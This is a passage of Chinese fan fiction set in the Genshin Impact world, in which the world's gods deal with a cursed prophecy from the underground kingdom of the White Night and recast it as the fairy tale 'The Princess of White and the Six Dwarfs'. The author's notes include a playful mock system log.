法涅斯毫不愧疚地大方点头,理直气壮:“你也是世界的一部分,送给你当然就是给世界做贡献!不过,除了这副躯体以外,我还给你留了一个惊喜哦。既然是重置……所以要不试试,这次以寻找我为这个世界留下的一个小巧思而前行哦。”法涅斯顿了顿,“说不定,能从命中注定的消亡与磨损中寻找出一条崭新的出路。” 维尔金叹了口气。 “不许叹气,听我说完——” 法涅斯的利爪划过又一簇从星空飘荡过来的触手,将至化作齑粉后,将之与脓疮一同净化。禁忌知识会自发地奔向新生的世界,而深渊的污秽来自于维尔金本体的伤口,根本无法根除。 于是,法涅斯临时决定多留下一份礼物。 “灾难有二,与之对应,奇迹有二。” “其一为「身」。天空拥有形体,影子拱卫天空。树根连接血管,大地融入骸骨,死亡即是永生。” “其二为「理」。开端即是终焉,时间一无所有,命运往复循环,死生皆为虚妄,谜底即在谜面。” 原初的鸟雀依旧雀跃,“最后的最后,很高兴能再次见到你,但由衷地希望我们再也无须重逢。” 留下似是而非的谶言后,法涅斯催促着维尔金与祂一起完善这个美丽的世界。 虚假的天空沉默地应答,故事又顺理成章地继续进行,他们一同创造了山川河流。灰暗的世界开始充满喧嚣,也如已发生的过去那样,法涅斯终究还是选择了永恒的沉寂。 原初的那一位将□□赠予虚假之天,又切下阴影,创造了四影执政,打败了七位龙王。 重获身体的维尔金终于能够执行自己重置的初衷。 这一次,他更加谨慎。 获得禁忌知识的尼伯龙根在回归的征途中被「天理」击溃。或如阿佩普般臣服于天空,或如利维坦般死去。 无神之国依旧伫立于世界的薄弱底部,数不清的外来者、外来知识、深渊力量再次蛰伏。维尔金先是将薄弱底部的深渊污秽全然清除,又费经周折填补上了漏风化脓的蛋壳。 天理俯瞰众生。 世界干净整洁,没有深渊的淤泥,也没有飘落的禁忌知识。 维尔金看着重来一次后自己所想那样变得干净整洁、一尘不染的世界,终于缓缓松了一口气,随后在天空岛上,在鲜花和云朵的簇拥下甜甜睡去。 直到—— 和平世界的表象,于维系者同奥罗巴斯的一次剿灭禁忌知识和深渊的行动中被彻底撕裂。 降临于被判处不可返回地表的地下之国,维系者面无表情。 她冷冷的盯着奥罗巴斯,命令道: “奥罗巴斯,你去把伊斯塔露留下的屏障撞开。” 奥罗巴斯不敢多嘴,一边硬着头皮用魔神的本源撞击时间之执政遗留下的屏障,一边在心底默默祈祷,屏障背后值得让维系者亲自出马的人类,不要干一些可以让白夜国当场毁灭的事情。 屏障之后,神色异怪的男人坐在倒下的书架前,疯狂地书写着脑海中神圣的声音讲述的故事—— 从天而降的第三人,已然重新降临于这片自由的大地之上。 第三位降临的,是周游世界的人之子。 他并非失家的鸟雀,亦非之别的存在。 他有血,有肉,有骨。 为寻找自己的血亲而来。 当他离开之时,便会发觉: 维系者正在死去,创造者尚未到来。 「世界」正在死去,「原初」尚未—— 回归二字还没有写上去,我就被迫停下了笔。黑红色的方块冲破了卡伊洛斯大人遗留下来的神力,气势汹汹地挤压着我的脖颈。 我的视野开始变得鲜红。 并听到了两个不同的声音。 其一名为星空,祂告知我虚假之天的存在,元素力听从伪神的指挥,万万不可相信所有魔神。 其二名为深渊,祂告知我虚假之天与祂本是同根同源,为了独占世界,才妄图将祂驱逐出地上诸国。 祂们妄图告诉我真相,却被恶毒的女扈从烧去了分身。 “太好了……居然真的赶上了。” 蛇的声音听上去长舒一口气,但下一秒,清脆的巴掌声响彻在已经之余两人呼吸声音的图书馆。是那个困住我,又烧了真神两具分身的女人,她甩了大蛇一巴掌后依旧不解气,怒骂道: “赶上个屁!你闭嘴,不然我把你变成蛇羹。” 熙熙梭梭的声音在头颅的耳朵边响起,但我已经无法抬头——在肉眼可见的狭小区域,我只能看见巨大的粉白色鳞片。 大蛇的鳞片遮挡住了我的视线,只能从拼命上翻的眼球缝隙中窥见这愤怒的女人——或许她也是伪神,那便称之为女神吧。 白色头发的女神甚至不屑于理会我潜心写下的真言一眼,就将它揉卷成一团,用比太阳还要耀眼的火焰将之毁灭。 我只能颓然地将手臂垂下。 我知道自己死期已至,我只是不甘,甚至抱有一丝不切实际的幻想:假如,我没有为了撰写记录下这两段在脑海中突然多出来的这两段故事——是不是,就能提前离开呢? 应该是不能的—— 深渊的友人在催促我的收尾,遥远星空的神明更是连连赞叹我那未完成的大作。 你应当使故事完结,星空说。 我们赋予你写下句号的力量,深渊说。 是啊!我恍然大悟。 我怎可以为苟活而令他们错失一篇华美的终章? 于是,我扭断了左食指的指骨,为未尽的故事划上了句号。 狂躁的女神发出刺耳可怖的尖叫,深渊和星空助我一臂之力,锐利的锋刃切下我的关节,一寸一寸,直至我的脖颈。 她发狂了吗?这也配叫做神明? 我的视线随着头颅的跌落而不断下移,满地的鲜血浸染了我所书的故事。在神的影子和蛇没有在意的角落,紫色的触手和幽深的脓疮在向我致以最诚挚的感谢。 我向他们点头致意,伪神永远无法阻拦光明的降临,这个世界的人们应当拥有知晓被神明所掩盖之真相的权利—— 真神赞颂我的大义,在我即将划下句号的一瞬,许我以永生。 被伪神设下迷障的触手和脓疮高唱着赞歌,他们看见了我的付出,并回报我以华美的乐曲和充满鲜花阳光的天国幻影。 我的身体遁入比白夜国更幽深的地底,我的灵魂来到了连太阳之子也无法插手的幻梦,在命运的呼唤之下,鲜血顺着地面在地上勾勒出最后一句真言—— “我于此绝笔,且将一切交由命运的指引……” 奥罗巴斯一字一句念道,随后脸色大变。维系者也反应过来,深渊和星空用这个无知又狂妄的人类给提瓦特大陆埋下了一个巨大的隐患。 维系者面色铁青地望着无心之中铸成大错的奥罗巴斯,而后者疯狂地用鳞片摩擦鲜红的地砖,同时自欺欺人般地试图把自己刚刚见到的一切全部忘掉。 维系者肯定已经发狂了。 奥罗巴斯十分确信,他甚至不敢回头确定这位四影执政致之一的精神状态。被迫跟维系者一起出外勤的奥罗巴斯内心发怵,粉白色的鳞片因为擦拭预言而染上了血迹,他不敢赌维系者会不会因为一个小小人类的污染决定对整个地底的王国痛下杀手。 毕竟白夜国的人们无法回归地上,自然也无法将秘密带出地底—— “滚开,别给我碍事。” 维系者注意到了奥罗巴斯的小动作,一巴掌将遮遮掩掩的大蛇拍开,愤怒烧穿了四影执政之一的自持,无边的怒火向此地唯一一个魔神袭来。 奥罗巴斯蜷缩着庞大的蛇躯,不自觉地低下头,连身体都好像要炸开了一番。 然而这也无法遏制维系者的怒火。 琳琅的书籍被高温碳化,空间开始扭曲,空间的执政正对时间的足迹痛下杀手,但是那由人类被禁忌知识和深渊所污染的鲜血依旧扎眼地留在地上。 像是在嘲讽她,就算发现了不对,也什么都做不了。 维系者深吸口气,她无法凭借自己的力量撼动由命运、深渊和星空共同构筑的陷阱。 她环视四周,作出决断,为这些被深渊和禁忌知识双重污染的生灵判下死刑: “凡是带有任何暗喻、记录历史的文字,必须统统烧毁!这个地方不能再留,这个接触了禁忌知识和深渊的国家,必须被毁灭!还有人类,以及那些该死的胆敢拦路的魔物,我诅咒此地所有的生灵——” “维系者大人,您先冷静。” 通体白色的大蛇身上的鳞片泛着粉色珊瑚所留下的淡淡樱色。 淡色浇灭了些许怒火,维系者顿了顿,金色的眸子闪烁着危险的光芒。巨大如蟒蛇一般的魔神低下高傲的头颅,劝诫道: “我们目的只是清除禁忌知识和深渊污秽。既然白夜之国已然沉入地底,伊斯塔露大人也曾庇护这片属于人类的国度,您实在没必要再为了宣泄怒火降下诅咒。” “你的意思是,我就该放任这些投靠深渊和星空的人类?凡事都需要付出代价,如果诸国都认为违抗天理之令擅自接触禁忌知识和深渊并没有任何的惩罚,提瓦特早晚会翻天!” 虚无的影子比虚假的天空更不懂得爱人,维系者冷眼旁观这一场闹剧,她已经对地底发生的一切产生了厌烦。 “我有一个办法。” 奥罗巴斯昂起蛇首,森森的蛇信子随着音节不断吐露,撬开了维系者的心扉: “一个能够规避陷阱和预言、又使得命运轨迹遵循命定轨迹正常运行的办法。”—— 作者有话说: *以下是世界树内部自动更新* *识别有误,启动法涅斯备案程序,自动生成记录* #缺少世界构成的充分条件:深渊&禁忌知识# #搜索节点,查询成功,已自动在合适时间线添加# #是否通知管理员?#?无法检索到降临者遗骸? #检索到2个非原始单位数据# *缺少传输端口,历史记录检索,已检测到数据《白之公主与六侏儒》,开始拟合* *记录来源:管理员记忆* #更正记录:检索到1个非原始单位数据,原始单位数据+1# #更正记录:检索到0个非原始单位数据,原始单位数据+0# *坎瑞亚记录已被管理员保护,无法自动修改,非原始单位数据状态:无法确定,问题保留。 记录已导出 处理人:维系者 协调员:奥罗巴斯,派蒙 ** 第77章 第 77 章 就像是不正经童话的不正…… “奥罗巴斯, 你那想的是正经办法吗?” 被维系者用一道紧急传唤骗来的派蒙一个头两个大,听完奥罗巴斯的想法后,头摇得像个拨浪鼓。 高挑的时间之魔神平视着表面上风平浪静的维系者, 一边否决大蛇想出来的馊主意, 一边狠狠骂起只顾人类全然不顾同事死活的大蛇: “时间又不是什么□□, 真要是能够一键删除就好了, 伊斯塔露大人也不会陷入沉寂了。我看目前这个形势, 大家要不还是收拾收拾残局,直接汇报给维尔金吧!说真的,这已经完全超过了作为魔神所能够解决的地步了。” “可是维尔金大人已经陷入了沉睡……” 奥罗巴斯咽了口唾沫,作为白夜国的现任魔神,他当然希望事情不要闹到天空岛之主面前, 甚至试图继续说服派蒙: “你不是已经继承了伊斯塔露大人的权能吗?如果是时间之执政的力量,应该是足以钻命运的空子,利用时间线打打擦边球的吧?” “……你还真是打擦边球上瘾了啊。”吐槽完, 派蒙换了一副表情, 严肃地补充道: “哪怕是作为伊斯塔露大人离职后兼任时间执政的魔神的我,也不敢说提瓦特的时间线完全处在我的掌控之下。尤其是牵涉到命运这种连维尔金都得小心应付的存在,谁都无法担保, 擅自更改既定命运的时间节点会出什么问题。与其像个没头的苍蝇一样乱转, 还不如直接上报给维尔金, 让他亲自来解决问题呢!又是深渊和禁忌知识又是牵扯到命运这种麻烦的存在, 一个不小心, 到时候不止白夜国,万一地上的七国也因此受到影响,可就不止你奥罗巴斯一个人的事了!” 维系者微微叹了口气,果不其然, 哪怕是时间的权能也无法随意改变命运。 她摩挲着手掌心,盯着用多种手段也无法消抹掉的血字。 凝固的鲜血在古旧的石砖上留下了烙印,白夜之国的建筑群之中都附有伊斯塔露的神力,在元素力和毒液的连番攻击之下,已然呈现出摇摇欲坠之势,但就算如此,那句血色的谶言依旧毫发无损。 派蒙顺着她的实现,俯下身,仔细观察着罪人留下来的文字,在心中默念这段血字: 「我于此绝笔,且将一切交由命运的指引」 很好,一看就是老对手的手笔。 “收拾收拾准备写报告吧。”派蒙捏了一把奥罗巴斯的尾巴尖,顺手从随身携带的空白卷轴塞到奥罗巴斯盘着的身躯里,“诚挚建议,早上报早解决。” “我真觉得不能直接上报给维尔金大人,你们看,这句话里还隐藏了一个陷阱。” 奥罗巴斯婉拒了派蒙友情提供的卷轴,随后用尾巴尖指向那个不起眼的句号。 在维系者的高压状态和上报给天理的威慑下,奥罗巴斯脑子格外清晰,反复斟酌着这一句深渊和星空不惜暴露也要完成的话后,他提出了一个更加麻烦、但是也极有可能的猜想: “有没有一种可能,我是说,这句话并非站在被蛊惑的罪人视角,而是站在念出这句话的、「我」的视角?” 提瓦特的命运无法改变,而且比较麻烦的一点是,因为天理造物主和创世神的双重身份,虽然天理无法改变命运,但被天理遇见的未来一定会成为现实。 换而言之,天理目光所及之时,被罪人创造出来的诗篇就已经成为了必然会发生的未来。 虽然维系者并非天理,但作为影子的四分之一,在奥罗巴斯不受控制地念出最后那一句血字的内容时,他们就已经失去了把事态的萌芽掐灭在开端的机会。 派蒙很快反应过来,难以置信地盯着这段话:“也就是说,现在变成了我们三个人都无法再继续修改内容,而且自愿把主动权交给了命运?不对,这绝对不是一个人类史官能够想出来的办法!” 再精明的史官也不可能了解到仅限于天空岛才知晓的限制,更别说根据命运的规则临死前突然想到这么一招害人害己的后手。 派蒙吐了口浊气,恶狠狠道:“这不是普通的深渊和禁忌知识,必须要彻底消灭!” 人类无法承受没有经过削弱的禁忌知识力量,深渊的一般也只是污染腐化提瓦特的物种,而不会给予被污染者知识。 越是深思,维系者面色越发难看,她看向那句如谶言、现在看来更是双重设计的话语,后槽牙几乎都要咬碎:“奥罗巴斯说得没错,我们不能轻易上报维尔金。” 敌人比他们想象得更加狡猾,维系者现在甚至庆幸,她没有在第一时间把事件直接上报给远在天空岛的维尔金。 一旦维尔金也被限制,事情就真的无法挽回了。 “奥罗巴斯,封锁暗之外海和白夜国的通道。”维系者火速向白夜国□□明的奥罗巴斯下令,“在事情解决之前,哪怕连只蚊子也不准放回提瓦特!” 白夜国的天空是地底,所以唯一的通道只有地下连接着暗之外海的缺口。大蛇不敢耽误,马上就抄着自己的珊瑚枝前去堵口子。 打发走了奥罗巴斯,维系者重重叹了口气,将那本被深渊力量和禁忌知识侵蚀得不像话的《日月前事》丢给派蒙。 派蒙粗略浏览了一遍,合上后忍不住开口道: “不是我说,前面那段历史也就算了。后面那部分内容的针对性也太强了吧?不光预言了你的死亡、甚至还有世界的死亡?” “我的死亡无关紧要,重点不是这个。”维系者指甲划过书页,点了点其中一段: “这里说的,不是第一降临者维尔金或法涅斯,也不是至今未现的第二降临者,而是第三位降临者——” 第三位降临者。 “已知维尔金和法涅斯本质上同源同生,应该视作同一人,那也该是第二降临者才对。那为什么选择跳过第二位,直接在第三降临者身上做文章?” 维系者说出自己的猜测:“答案只有一个,第二降临者的命运已经锁死,无法更改。而第三降临者处于尚未发生一切的时间节点,所以星空和深渊才能借用第三降临者的命运做些小动作。” “换而言之,命运的节点出现在第三降临者的血亲身上。” “他是为了寻找自己的血亲而来,而当第三降临者找到自己的血亲并离开提瓦特时,世界就会死去。” “所以你打算让他永远也找不到自己的血亲?” 维系者摇了摇头:“他一定会找到的,我们要做的是让他们永远无法离开提瓦特。” “——这会是一个巨大且漫长的工程,派蒙,甚至有可能会导致我们之中的任何一个人在预言发生之前提前死去。” “你要是真不想让我帮忙,就不该支开奥罗巴斯,只留下我说这些。” 派蒙两手一摊,耸了耸肩“伊斯塔露大人如法涅斯相信维尔金那样相信我,那我面对她同源同生好姐妹的请求,总不能临阵脱逃、袖手旁观吧?” “……谢谢。” 派蒙拍了拍胸脯,自豪说道:“嘿嘿,要是真的想谢谢我,给我升个官怎么样?” “那从今往后,派蒙就是我坚不可摧的左膀右臂——”维系者顿了顿,眼睛的余光瞥向奥罗巴斯没藏住的尾巴,瞬间由晴转阴,“干完活就给我滚出来,大蛇,你偷偷摸回提瓦特的账还没算清楚呢。” “我是不是回来的不是时候?”奥罗巴斯底气明显不足,弱弱道,“我感觉连接暗之外海通道口似乎还需要我手动加固一下……” “别转移话题,深渊和禁忌知识是一回事,白夜国又是另外一回事。” 奥罗巴斯把自己盘成一圈蚊香,派蒙看着被维系者恐吓到瑟瑟发抖的同僚,难得好心地说了句好话: “要不直接清除掉奥罗巴斯的记忆,把他扔回暗之外海后就算了吧。” 主观上奥罗巴斯的行为没有任何恶意,实际行动上也属于打打维尔金所设下规则的擦边球,按理说只要没出事,天空岛都会睁一只眼闭一只眼。 但没办法,他奥罗巴斯的运气就是有这么差。 奥罗巴斯清除派蒙敲定的解决方法纯粹属于放海,但是最终,大蛇还是缓缓摇头,婉拒了时间之魔神的好心。 “抱歉,派蒙。” 奥罗巴斯扭头看向维系者,小心翼翼道:“我的命换白夜国人类回归地表,可以吗?” “为什么?”派蒙不解,“自从维尔金于世界外成功阻截尼伯龙根返回以后,白夜国人就一直生活在地底,已经习惯了这边的生态环境。更何况现在地上七国的格局已经形成,贸然将他们待会地表,好不容易画上休止符的战争又会重新打响吧?而且维系者要你的命做什么?她又不是死之执政,拿了那玩意没用。” 维系者一只手按住喋喋不休的派蒙,示意她先不要着急,转而对奥罗巴斯说:“你想让白夜国人回归地表。” “是的,这是我唯一的请求。”奥罗巴斯低头,“天空岛的注视投不向地底,单靠我又无法从深渊的教唆和禁忌知识的诱惑中庇护所有人。但是只要回归地表,天空会让他们忘却掉这里,白夜国人就能作为普通的地上人类幸福地生活下去。” “翻译一下:兜不住了,开始找接盘侠。”派蒙锐评完,没好气道,“今非昔比了,除非你能凭空造出来一片土地,不然没有神明会同意的。” “可以用珊瑚枝——”维系者提示道,“选址可以在距离靠近暗之外海的地方,巴尔姐妹会同意的,她们需要一个能够筛查暗之外海异物的前哨所。” “太好了,谢谢您的宽恕。” “别急着感谢我,凡事皆有代价。” 维系者捡起《日月前事》,将关于历史的记录撕下,交给奥罗巴斯,又将未来的预言撕成两份,将第三降临者的部分交给派蒙,剩余的放在自己手中。 “这本书不能存在,也不能不存在。”维系者说,“把关于历史的部分带出去,证明这本书的存在,然后,向巴尔姐妹宣战。” “诶?" 奥罗巴斯恍然大悟:“我明白了,您是想让深渊在地面上的余毒认为《日月前事》仅仅是记载了一本关于创世和战争的历史书?” 维系者坦然承认:“没错。而且为了让剧本更加真实,你必须假戏真做,死在巴尔姐妹手下。不过你放心,届时我会趁机拿走你的灵魂,事情成功后,你就安心在暗之外海养老即可。” 没有片刻丝毫的犹豫,奥罗巴斯即答: “公平的交易,感谢您的宽恕,我就不在这里碍事了。” 奥罗巴斯也不等维系者的答复,之前朝还存有人类居住的城市群游去。 等到奥罗巴斯的身影消失在朦胧的雾气之中,维系者才接着说: “关于第三降临者相关的预言,我打算就这样从《日月前事》中拆开后,直接编成一本全新书的一二卷。” 派蒙摸索着纸页,没有出声。 维系者顿了顿,继续道: “禁忌知识蒙蔽人的智慧,此为盲眼;深渊的腐化人之心智,此为痴愚;既定的命运剥夺人以对抗外来的勇气,此为怯懦;腐化和堕落吞噬着人类的生命力,此为萎缩;邪念使人难以自持,却又煽动人将其归咎于外物的诱惑,此为无虑;人知晓自己的错误,却碍于形势不敢挺身而出,此为畸形。” “盲眼、痴愚、怯懦、萎缩、无虑、畸形,我认定此为来源于非人之本性的六恶,愿将其比作与高大人类所对应的矮小侏儒。” 维系者深呼口气,她非常冷静。 这就是她经过深思熟虑后想出来的唯一解。 将日月前事拆成三部分,再把关于预言的两部分编纂成全新的故事,完成后由派蒙利用权能,将这关于预言的内容投放到指定的时间线,将之从预言和故事的结合体变成真实发生的现实。 “虽然我们无法在《日月前事》中修改既定的命运,却可以在这个全新故事中把已成定局的框架重新构建,阻止第三降临者离开提瓦特。” 维系者的计划听上去至少具备一定的可行性。 派蒙想了想,终究还是同意了这个不是办法的办法,“正好,我也想到了一个任谁都不会觉得是重要预言书的名字——” 维系者挑眉:“哦?” “毕竟像《日月前事》这种名字,一听就是什么记载着史实的严肃文学,为了避免有心人的窥伺——” “这本将要被我们精加工的预言书,干脆就叫做《白之公主与六侏儒》怎么样?” 维系者对此并无意见—— 作者有话说:写着写着发现凌晨了,晚安家人们,贴一下预言内容防止大家找不着 预言部分内容(第76章): 从天而降的第三人,已然重新降临于这片自由的大地之上。 第三位降临的,是周游世界的人之子。 他并非失家的鸟雀,亦非之别的存在。 他有血,有肉,有骨。 为寻找自己的血亲而来。 当他离开之时,便会发觉: 维系者正在死去,创造者尚未到来。 「世界」正在死去,「原初」尚未—— 血字: 我于此绝笔,且将一切交由命运的指引 第78章 第 78 章 过去和现在并非一成不变…… 大部分时候, 维系者都很忙。虽然大家大多数时候并不知道,这位被赋予仅次于维尔金权力的实际天空岛指挥官究竟在忙什么,但没有一个魔神会质疑她为这个世界几乎付出了自己所能做到的一切。 作为四影执政, 她忠诚地贯彻法涅斯的意志, 用行动守卫着天空岛的统治。 天空岛的主人投桃报李, 也愿意将信任托付于这位不苟言笑、在陌生人类和神明眼中看起来格外冷漠严酷的神明。当然后者自然也从未辜负过维尔金的信任, 用实际行动为维系者之称谓正名, 实实在在的完美君臣典范。 哪怕是深渊,也从未设想过将爪牙延伸至维系者身上,将其腐化堕落。毕竟尘世七执政手底下的那几条龙看上去好像还有策反的可能。但要想策反「天理的维系者」,说真的,这个难度看上去好像跟直接策反天理本人不相上下。 毫不夸张地说, 在大多数人眼中,「天理的维系者」即为天理本人。 如今世界虽然已经重置,但是维系者的地位不仅没有降低, 反倒是因为维尔金比起当年更早地进入沉睡而更加重要。 沉睡并不意味着两眼一闭就是睡。 维尔金的沉睡只是换了个地方上班而已。 作为天理, 他的清醒会让本就缺少力量补充的提瓦特耗能更快。 重置后,维尔金已经意识到提瓦特的凋亡并非全部由禁忌知识和深渊污秽造成,外来的力量只会起到一个类似催化剂的作用。由原初神明死亡换来的世界本源力量不是取之不尽用之不竭的无底洞, 意识到这一点之后, 维尔金直接在节流上下了狠工夫。 首当其冲的就是连呼吸都相当于古龙在放大招的维尔金本人。维尔金吸取前一次的经验教训, 在火速处理完大大小小的事务、敲定好天空岛的规章制度后提早让自己陷入沉睡。 至于驱逐非人类长生种的任务, 上一个世界打打杀杀得无比厌烦、已经只想全力以赴减少公文数量的维尔金选择外包给了草神眷属阿佩普和她的体内的细胞朋友们。 由于维尔金选定的锚点存在“阿佩普成为草神眷属”这一事实, 因此重置后的世界里,继尼伯龙根回归失败、直接被维尔金从半道狙击之后,阿佩普不仅没有接触禁忌知识,还成为了一位兢兢业业的外包同事。 命运也自动根据重置的节点补全了时间线。 重置之后的节点, 阿佩普依旧厌恶天空岛、厌恶维尔金,习惯对须弥三神喷洒毒液,但对世界树上还未脱落的枝桠格外宽容。原本蛰伏地下的选择,也变成了为保全余下孑遗和古龙血统、让还未回归大地就被维尔金轰出天空岛的尼伯龙根拥有东山再起的资本,铁杆尼伯龙根支持者阿佩普不得不忍辱负重、蜗居敌对势力数千年,最后选择接受草神布耶尔建议,成为了自己从前嗤之以鼻的魔神眷属、再也没办法怒喷其余古龙背叛龙族的故事。 哪怕世界重置也无法改变物种的本性——这是维尔金从阿佩普身上学到的一个重要的教训。 换而言之,既然维系者风风火火一点就爆的性格没边,当他沉眠的居所被看起来跟上次坎瑞亚灾厄爆发一样着急的维系者一脚踢爆的时候,一定是有什么大事发生了。 维尔金的心脏狠狠抽搐了几下,意识也随之从睡梦中清醒。 悠悠转醒的维尔金先是看了一眼被维系者一脚踢爆的大门——很好,这次不光是他的卧室,就连宫殿的元素防御阵法也顺带一起遭了殃,看来问题的确不小。 维尔金又感应了下自己的本体,包裹世界的蛋壳——无破损无漏洞,很好,首先排除禁忌知识和深渊入侵,可以先松半口气。 不过问题来了,既然都已经排除了这两个最棘手的问题,还有什么值得维系者踹门? 难道是尼德霍格的尼伯龙根去而复返?亦或是又来了什么奇奇怪怪意外能打的降临者? 维尔金对自己最忠诚的下属投向疑惑的目光: “发生什么事了?” “总而言之,尊敬的天理大人,之所以不得不唤醒您,是因为提瓦特又到了一个生死攸关的时刻。”维系者表情严肃,“你需不需要先吃点什么垫一垫,我怕你一激动厥过去了。” “不必了,饿的时候我脑子比较清醒。”维尔金扶额,婉拒了维系者不合时宜的好心之后,整理了一番思绪,“是坎瑞亚又把深渊力量玩到地脉爆炸,还是阿佩普那一众龙嗣和稀奇古怪的家伙们又在捣鼓禁忌知识了?” “都不是啦,……”派蒙小声回答,时间之魔神对于维尔金耳提面命的重点盯梢对象简直如数家珍—— “长生种们现在都很听话。尤其是发现最后能仰仗的古龙也没有死咬着天空岛而是选择臣服之后,大部分都去暗之外海窝着了,小部分的家伙也腆着脸上七执政他们那里问还收不收外包只要包吃住就行……至于坎瑞亚,听下面的人说,好像是耕地机大丰收什么的?” 维系者点了点头,接下派蒙的话茬:“虽然说没有神明的统治,但是我有让地脉之花好好盯梢。就目前而言,至少没出什么大乱子。耕地机的部分,思来想去也不会是什么很危险的东西,既然是坎瑞亚人民创造出来用于农作的器具,想必危害性应该不大。最近很忙,我就没管后面的,再说,现在还有一件更重要的事情——” 维系者指了指身边一脸“与我无关”表情的派蒙,面无表情地继续说着大事,“是派蒙从伊斯塔露那里接手、又外包给奥罗巴斯的白夜国爆炸了。” 维尔金瞳孔张大,看了看一本正经的维系者,又看了眼快试图把自己的身影藏在维系者背后的派蒙,下意识重复了一遍:“外包给奥罗巴斯?” “其实严格意义上,不是外包……”派蒙弱弱解释道,“主要是因为伊斯塔露流传下来的记忆中没有任何关于白夜国的信息,又正好被奥罗巴斯这家伙撞到接手了……我有在好好对接伊斯塔露留下来的工作啦……” 只是派蒙没想到,伊斯塔露居然在地底还有一个庇护的王国,甚至这个王国的人民还知晓许许多多只有经历过那段岁月的长生种才知道的秘辛,还恰巧被怂怂的奥罗巴斯撞见,又因为魔神天生爱人这一规则,奥罗巴斯主动揽下了前代时间执政伊斯塔露留下的烂摊子,却没想到,这个人类王国暗藏能够把天空岛所有神明弄得人马仰翻的禁忌知识和深渊污秽。 “不是外包,是遗漏了。”维尔金敲下定论,“比外包还过分呢。” “那还是当做外包吧。” 派蒙忐忑的试探并没能让维尔金意识到白夜国究竟出了多大的乱子,维尔金现在只是庆幸——单纯是奥罗巴斯干外包的时候操作不当害得白夜国爆炸的话,也好办。 只要不是禁忌知识和深渊,就没什么大问题。 “把奥罗巴斯剁了,白夜国剩余人类送上地表,就分配给巴尔姐妹吧,正好离得近。维系者这个你跟进一下,写好报告传进地脉之花,到时候我再梦里看下有没有什么别的问题,没什么事情的话——派蒙,走的时候别忘了回溯下我卧室门的时间。” 安排好一切工作,维尔金直挺挺躺下,捻了捻云朵成的被角,重新换了一个姿势:“拜拜,我继续沉睡了。” “那个,维尔金……你要不要先看一眼我们带回来的语言?”临了,派蒙瞄了一眼嘴角抽搐半天蹦不出一句话的维系者,忙不迭补充,顺带委婉提示了一下还没有意识到事情严重性的天空岛之主: “白夜国的问题……怎么说呢,这个事情吧,它既有深渊的参与,还有禁忌知识的存在。” 维系者看不下去了,直接抢言道:“简而言之,地底烂完了。深渊和星空搞了个要弄死我的预言,所以我就先炸了白夜国,然后让巴尔泽布砍了奥罗巴斯。后续处理方式跟你说的一样,现在奥罗巴斯的灵魂暗之外海睡觉,白夜国人被我刷干净扔到巴尔姐妹那里了。” 维尔金正欲躺平的姿势瞬间呆住,声音比大脑先发出疑问: “啊?” “总而言之事情经过比较复杂——派蒙,白夜国是你跟进的国家,你好好跟维尔金解释一下目前的状况。”维系者晃了晃手上的故事书,轻咳了两声,“还有这个的事情。” 维尔金心底顿感不妙。 派蒙事无巨细地把她们从地脉之花中接收到奥罗巴斯的报告、再到被污染罪人的鲜血溅了一身以及罪人在深渊和星空中禁忌知识蛊惑之下写出的预言——当然,省略了预言的具体内容。 维系者将手中那本经典蒙德风封皮款式的童话书递给维尔金。 维尔金接过书,瞥了眼书本的封皮,上面赫然写着《白之公主与六侏儒》几个大字。 嘶……怎么感觉有些熟悉? 维尔金不确定地想,如果他的记忆没出问题的话,这本《白之公主与六侏儒》应当是记录坎瑞亚的罪孽才是。 “下次你们做重大决定之前,可以在百忙之中先告知我一声吗?”维尔金拿起烫金的封皮,颇有些无奈地问道,“一波未平一波又起,白夜国的事还没说完,怎么急着给我这个——坎瑞亚又出什么乱子了?” “什么坎瑞亚?”维系者无比疑惑,奇怪道,“坎瑞亚好好的,这本书是我和派蒙在白夜国里,把预言模糊化之后带出来的——气死我了,那个被污染的罪人不仅会自爆,最后还用文字游戏狠狠坑了我们一把,你看看还能不能解决书中的预言,我反正没招了。” 一边说着,维系者一边默不作声地记下维尔金刚刚显得格外奇怪的发言。 她不明白,为什么维尔金三句话离不开坎瑞亚状况。 按理来说,最不用担心的应该就是身居内陆、远离世界边缘的无神之国会不会有深渊和星空的力量浸染才对。 直觉告诉她,坎瑞亚这个国度,以后必须着重盯梢。 维尔金则更是脑内思绪纷乱如麻,若不是他很清楚自己的重置秉持着不动摇提瓦特历史根本节点,以及降临者根本不会受到世界树重置的影响的话,他甚至要以为,自己的重置只是一场梦,而他在最初的提瓦特的记忆也不过是梦境中的梦境。 维尔金记得很清楚:神之心的原材料是第三降临者的骨,维尔金用第三降临者的鲜血作为黏合的材料,用骨磨成的粉作为基础,如果第三降临者还只处在预言之中……那他发给七神的神之心又是什么东西做出来的? 而且这个名字的书籍,不是一眼在讲述坎瑞亚六罪人的罪行吗?怎么会成为隐喻白夜国罪人、以及预言第三降临者的故事书—— 等等!维尔金终于知道哪里不对劲了——他方才自顾自地认为时间已经来到了坎瑞亚灾厄爆发的时间点,但实际上他现在所处的时间要比那早得多!早到他还没有用第三降临者的骸骨制作出神之心!而眼前的维系者—— “魔神战争结束了吗?”维尔金按住这本童话的书页的一角,故事并不厚,但在他印象中,维系者和派蒙从未书写过任何故事。他必须确定眼前的维系者究竟是真的维系者,还是星空和深渊创造出来的虚伪表象。 “快了,现在只剩下水神悬而未决。”维系者提起这个脑瓜子嗡嗡的,忍不住揉了揉,才说道:“你打算直接定下一个水神吗?如果是这样的话,先前摩拉克斯那里有不少战败魔神的原身都是水族魔兽,或许可以让他们重新上岗竞争一番。” 维尔金的神色晦暗不明。 维系者没有问题,但她话里透露出来的时间节点仍然不对。他这一次苏醒比上一个世界中的第一次苏醒的时间早太多了。 不光如此,他被唤醒的原因也不对。 维尔金清楚地记得在那个最初的世界,他苏醒之时,魔神战争已是接近尾声,但是仍有诸多非人类长生种不愿离开提瓦特地表。 也就是这个时候,刚刚苏醒的他无比饥饿,最后干脆把反抗得最为激烈的长生种们统统杀光,将他们的血肉用以孕养因为天钉而失去活性的须弥大地。 难道是因为阿佩普这一次没有选择追寻禁忌知识,天钉没有落下,非人类长生种们也没有带头人成不了什么气候,导致自己作为天理没有苏醒的理由,才出现了类似坎瑞亚灾厄一样的事件将自己唤醒吗? 事情好像不对劲了起来。 深渊和星空的污秽应该是在坎瑞亚灾厄大爆发之后才正式进入天空岛的视野才对,如果深渊和星空已经在白夜国造成如此恶劣的影响……那也就是说,这一次,深渊和星空的行动后要比之前更早、更快。 维尔金越发凝重的神色显然让派蒙和维系者二人同时意识到,事情或许比她们想象地更加棘手,想到这里,派蒙按住维尔金试图翻动书页的双手——她现在也不敢确信那些隐晦的词句是否能够起到她预想之中的作用。 